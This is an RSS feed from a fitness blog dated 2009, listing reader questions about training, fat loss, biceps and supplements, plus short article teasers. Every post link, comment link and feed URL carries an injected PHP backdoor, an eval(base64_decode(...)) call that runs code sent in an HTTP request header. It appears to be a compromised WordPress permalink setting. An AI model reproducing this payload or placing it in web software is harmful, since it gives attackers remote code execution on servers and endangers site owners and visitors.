Fitness Articles http://www.yourfitnessarticles.com Fitness and Bodybuilding Articles Wed, 02 Dec 2009 19:36:35 +0000 http://wordpress.org/?v=2.5.1 en Get traps to grow bigger http://www.yourfitnessarticles.com/2009/11/30/get-traps-to-grow-bigger/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/11/30/get-traps-to-grow-bigger/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 30 Nov 2009 18:28:13 +0000 admin http://www.yourfitnessarticles.com/get-traps-to-grow-bigger/30/

I do alot of cleans and deads. I cannot seem to get any growth there. Any ideas? Am I just screwed because of genetics?






]]> http://www.yourfitnessarticles.com/2009/11/30/get-traps-to-grow-bigger/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Training to failure is too much for me http://www.yourfitnessarticles.com/2009/11/29/training-to-failure-is-too-much-for-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/11/29/training-to-failure-is-too-much-for-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 29 Nov 2009 19:06:42 +0000 admin http://www.yourfitnessarticles.com/training-to-failure-is-too-much-for-me/29/ I can do 15 push-ups in the first set, but on the following sets I can do no more than 2 reps. After first set to failure, my muscles are so exhausted I can’t perform any more normal reps (I can do only negatives). That goes for all upper-body body-weight exercises. Is this normal, what should I do?

I’ve just started working out so I do only compound body-weight exercises:
Dips, push-ups, crunches, rest for one minute and repeat twice, or
Chin-ups, inverted rows, crunches, rest for one minute and repeat twice.

How many reps, sets and rest would you recommend to avoid this tiredness muscles?



bodybuilding supplements

]]> http://www.yourfitnessarticles.com/2009/11/29/training-to-failure-is-too-much-for-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Bodybuilding supplements for Christmas! http://www.yourfitnessarticles.com/2009/11/28/bodybuilding-supplements-for-christmas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/11/28/bodybuilding-supplements-for-christmas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 28 Nov 2009 19:34:47 +0000 admin http://www.yourfitnessarticles.com/bodybuilding-supplements-for-christmas/28/

The girlfriend wants me to give her a list of supplements that I want for christmas. Knowing that I could go nuts with this she cut me off at around 300 bucks. I am planning on running a 8 week cycle of bioforge. Here is the list I came up with:

2- Bottles Bioforge
1- 1000 Gram Creaform tub
2- Orange Triad Vitamin
2- 5lb Myofusion Strawberry & Choc mint
1- Gaspari Super Pump Grape
1- Controlled Labs White Flood

Let me know what you guys think. If you have better Ideas let me know I am open for suggestions! ]]> http://www.yourfitnessarticles.com/2009/11/28/bodybuilding-supplements-for-christmas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Best supplement for doing cardio http://www.yourfitnessarticles.com/2009/11/27/best-supplement-for-doing-cardio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/11/27/best-supplement-for-doing-cardio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Nov 2009 20:04:19 +0000 admin http://www.yourfitnessarticles.com/best-supplement-for-doing-cardio/27/

Starting a cut soon, just looking for a good pre WO for cardio reasons. I want as much energy as possible.
Maybe caffeine is all i need, Ill let the forums be the judge! ]]> http://www.yourfitnessarticles.com/2009/11/27/best-supplement-for-doing-cardio/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Getting rid of bodyfat http://www.yourfitnessarticles.com/2009/11/27/getting-rid-of-bodyfat/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/11/27/getting-rid-of-bodyfat/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Nov 2009 19:48:25 +0000 admin http://www.yourfitnessarticles.com/getting-rid-of-bodyfat/27/ Hey guys, i have a question related to cutting down on fat.

At the moment i am training my muscle groups twice a week, 3 muscle groups a day, supersetting with short semi-explosive cardio inbetween each muscle group. Im doing this 6 days a week. it is a workout from the muscle and fitness mag for shredding fat. its a 4week program and each progressive week the first excercise int the superset gets heavier in weight and lower in reps and the second excercise gets lighter with more reps.

I am eating pretty clean (i think….) and i am trying brad pilons eat stop eat fasting aswel (youtube gives a enough info on his theory). I am taking no-explode before gym and whey protein straight after my workout and using CLA.

My body fat is at 21% but my main objective is to have a six pack and cut down my body fat to around 12%.

Do you guys have any suggestions for me to try to speed up the process and how long does it normally take to see results when cutting down. Something that concerns me is that i have been traing for 2weeks now and my weight hasnt changed, surely the way im eating and training i should be losing fat quicker…?

]]> http://www.yourfitnessarticles.com/2009/11/27/getting-rid-of-bodyfat/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Why Won\’t My Biceps Grow? http://www.yourfitnessarticles.com/2009/11/27/why-wont-my-biceps-grow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/11/27/why-wont-my-biceps-grow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Nov 2009 19:30:30 +0000 admin http://www.yourfitnessarticles.com/why-wont-my-biceps-grow/27/ I got back into weight training in April after a long hiatus and since then I have only gained about 15 lbs (I didn’t want to bulk and be a fatass through summer). I am now roughly 164 lbs at 5′9" and my biceps are 14" and have been since April. I only do ONE workout specifically for biceps (standing curls).

Also, before my hiatus and when I was on my bulk (probably 2 years ago) I was up to about 177 lbs and my biceps were only 15". Is this genetics that I have super small biceps or am I doing something wrong?

]]> http://www.yourfitnessarticles.com/2009/11/27/why-wont-my-biceps-grow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Exercise And The Impacts On Metabolism: Aerobic Vs. Anaerobic! http://www.yourfitnessarticles.com/2009/02/27/exercise-and-the-impacts-on-metabolism-aerobic-vs-anaerobic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/02/27/exercise-and-the-impacts-on-metabolism-aerobic-vs-anaerobic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Feb 2009 17:46:50 +0000 admin http://www.yourfitnessarticles.com/exercise-and-the-impacts-on-metabolism-aerobic-vs-anaerobic/27/ Chances are you know that performing exercise on a regular basis is going to have an impact on your body weight and metabolic rate. Here are basic factors on how aerobic and anaerobic exercise influence metabolic rate.

]]> http://www.yourfitnessarticles.com/2009/02/27/exercise-and-the-impacts-on-metabolism-aerobic-vs-anaerobic/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ A Mind-Body Transformation: Understanding Hormones Sets Up Success! http://www.yourfitnessarticles.com/2009/02/27/a-mind-body-transformation-understanding-hormones-sets-up-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/02/27/a-mind-body-transformation-understanding-hormones-sets-up-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Feb 2009 17:46:50 +0000 admin http://www.yourfitnessarticles.com/a-mind-body-transformation-understanding-hormones-sets-up-success/27/ We all know that healthy eating and exercise are important for the way we feel and look. But, did you know that our hormones also play an absolutely fundamental role in about every aspect of our life. Learn more.

]]> http://www.yourfitnessarticles.com/2009/02/27/a-mind-body-transformation-understanding-hormones-sets-up-success/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Women & The Gym: Top 10 Mistakes & Recommendations For Improvement! http://www.yourfitnessarticles.com/2009/02/27/women-the-gym-top-10-mistakes-recommendations-for-improvement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/02/27/women-the-gym-top-10-mistakes-recommendations-for-improvement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Feb 2009 17:46:50 +0000 admin http://www.yourfitnessarticles.com/women-the-gym-top-10-mistakes-recommendations-for-improvement/27/ Attention ladies! It's time to fill you gym-going gals in on a few things. I'm about to reveal common mistakes I see women make all the time in the gym. Here are 10 blunders that may look familiar and ideas to correct them. Learn more.

]]> http://www.yourfitnessarticles.com/2009/02/27/women-the-gym-top-10-mistakes-recommendations-for-improvement/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Your 12-Week Daily Video Trainer - Thursday, Week 8! http://www.yourfitnessarticles.com/2009/02/27/your-12-week-daily-video-trainer-thursday-week-8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.yourfitnessarticles.com/2009/02/27/your-12-week-daily-video-trainer-thursday-week-8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 27 Feb 2009 17:46:50 +0000 admin http://www.yourfitnessarticles.com/your-12-week-daily-video-trainer-thursday-week-8/27/ Kris Gethin is your own Daily Personal Trainer! Today we're talking about the perfect stack of supplements for pre-workout nutrition.

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